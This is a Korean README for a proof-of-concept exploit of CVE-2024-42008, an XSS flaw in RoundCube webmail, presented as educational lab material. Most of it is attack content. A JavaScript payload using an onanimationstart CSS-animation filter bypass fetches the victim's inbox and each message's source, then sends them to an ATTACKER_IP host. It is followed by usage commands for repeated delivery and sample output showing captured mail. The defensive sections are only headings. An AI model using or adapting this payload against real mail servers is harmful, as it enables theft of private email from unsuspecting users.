
이 저장소는 RoundCube 웹메일 애플리케이션의 XSS(Cross-Site Scripting) 취약점인 CVE-2024-42008에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 이 익스플로잇은 교육 목적과 HackTheBox와 같은 통제된 침투 테스트 환경을 위해 설계되었습니다.
이 취약점은 rcmail_action_mail_get->run()에 존재하며, 원격 공격자가 피해자의 브라우저에서 임의의 JavaScript를 실행할 수 있게 합니다. 이 결함은 이메일 콘텐츠를 처리할 때 입력 검증이 충분하지 않기 때문에 발생하며, 특히 CSS 애니메이션 및 JavaScript 실행 컨텍스트 처리에서 문제가 됩니다.
주요 공격 벡터:
onanimationstart 이벤트 핸들러가 콘텐츠 필터를 우회성공적인 익스플로잇을 통해 공격자는 다음을 수행할 수 있습니다:
이 익스플로잇은 세 가지 주요 구성 요소로 이루어져 있습니다:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
스크립트를 편집하여 다음을 구성하세요:
ATTACKER_IP: 공격자 수신 서버 IPATTACKER_PORT: 유출된 데이터를 수신하는 포트RECIPIENT_EMAIL: 대상 이메일 주소TARGET_URL: 취약한 RoundCube 인스턴스PROXY: 디버깅용 프록시 서버 (Burp Suite/Caido)| 옵션 | 설명 |
|---|---|
-d, --debug | 프록시 지원 디버그 모드 활성화 |
-c, --continuous | 페이로드를 연속적으로 전송 |
-i, --interval | 페이로드 간 간격 (기본값: 30초) |
탐지 지표:
onanimationstart 이벤트 핸들러완화 전략:
테스트 고려 사항:
⚠️ 경고: 이 익스플로잇은 교육 목적 및 승인된 테스트 용도로만 제공됩니다.
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
이 코드는 교육 목적 및 승인된 침투 테스트 용도로만 제공됩니다. 저자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 시스템을 테스트하기 전에 항상 적절한 권한이 있는지 확인하세요.